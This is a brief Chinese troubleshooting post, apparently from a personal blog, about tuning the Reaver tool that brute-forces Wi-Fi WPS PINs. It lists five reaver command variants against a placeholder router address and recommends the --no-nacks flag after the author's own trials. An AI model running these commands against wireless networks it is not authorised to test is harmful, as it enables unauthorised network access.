在code.google上找到篇文章(http://code.google.com/p/reaver-wps/issues/detail?id=183) 说明加入参数 no-nacks 或者把-d 的值调到15秒以上，不知道是否可以，验证后再更新

reaver -i mon0 -vv -b <mac>
reaver -i mon0 -vv -b <mac> -a
reaver -i mon0 -vv -b <mac> --no-nacks
reaver -i mon0 -vv -b <mac> -d 5
reaver -i mon0 -vv -b <mac> --no-nacks -d 5

 验证了多次，不好使，建议直接使用：

reaver -i mon0 -vv -b <mac> --no-nacks
